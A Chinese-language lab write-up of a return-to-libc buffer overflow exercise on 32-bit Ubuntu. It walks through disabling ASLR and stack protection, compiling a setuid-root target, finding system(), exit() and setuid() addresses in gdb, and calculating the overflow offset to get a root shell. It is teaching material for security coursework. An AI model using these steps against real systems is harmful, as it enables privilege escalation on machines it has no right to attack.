return2libc实验
前言
实验程序GitHub链接
注:实验环境为Ubuntu16.04的32位虚拟机(virtualbox)
预备工作
关闭地址随机化,否则攻击失败1
sudo sysctl -w kernel.randomize_va_space=0
任务1—查找libc函数的地址
编译retlib.c,设置-fno-stack-protector关闭ubuntu上StackGuard保护机制,设置-z -execstack/noexecstack可打开或关闭可执行栈的机制,使用gdb来获取当前system()与exit()的地址1
2
3
4
5
6
7
8
9sudo gcc retlib.c -fno-stack-protector -z noexecstack -o retlib -g
sudo chmod 4755 retlib
gdb -q retlib
#进入gdb命令行
b main
r
p system
p exit
q
我们可以看到system()函数的地址是0xb7e43da0,exit()函数的地址是0xb7e379d0,使用上述得到的地址更改程序exploit.c:
改完之后:
任务2—将shell字符串放入内存中
创建环境变量MYSH来记录/bin/sh路径,编译getenv.c,运行getenv程序获取/bin/sh的地址1
2
3export MYSH="/bin/sh"
gcc getenv.c -z noexecstack -o getenv -g
./getenv MYSH ./retlib
可以看到/bin/sh的地址为0xbffffe41,使用上述得到的地址更改程序exploit.c:
改完之后:
任务3—找出栈溢出地址相对buffer的偏移
下面我们介绍 (long ) &buf[24] = 0xb7e5f430 ; // system() 中的24是怎么得到的;
首先你应该对return to libc的原理有一定了解(不了解先参见此处)(原理看完就可以回来了,实验部分这里讲得更清楚^_^)
这里的24就是栈溢出地址相对buffer的偏移;一种有用的办法是这样做的:生成较长的由a-zA-Z组成的随机字符串(比如我生成长100的这样的字符串),将它写入badfile文件,然后用gdb调试retlib程序;
rand.py程序如下:
1 | from string import ascii_letters as al |
1 | python rand.py >> badfile |
不用设置断点,直接运行然后会发生栈溢出错误,并且告诉你栈溢出的地址,在我调试的过程中,栈溢出的地址为0x4a4c4e49,把这个地址转换为字符串并反转是INLJ(之所以要反转是因为地址的表示为大端表示),INLJ在上述生成的随机字符串中的索引就是24,说明栈溢出地址相对buffer的偏移为24;
任务4—利用缓冲区溢出漏洞
编译exploit.c,攻击,进入/bin/sh程序1
2
3gcc exploit.c -z noexecstack -o exploit
./exploit
./retlib
任务5—增加调用setuid进行提权
首先按照同样的方式获取setuid()函数的地址,然后更改程序exploit.c;1
2
3
4
5
6gdb -q retlib
#进入gdb命令行
b main
r
p setuid
q
可以看到setuid()函数的地址为0xb7eba2e0,使用上述得到的地址更改程序exploit.c,改完之后:
重新编译exploit.c然后进行攻击(如果攻击失败,尝试:重启->关闭地址随机化->export MYSH=”/bin/sh”,然后重新执行下面三行命令)1
2
3gcc exploit.c -z noexecstack -o exploit
./exploit
./retlib
攻击结果如下。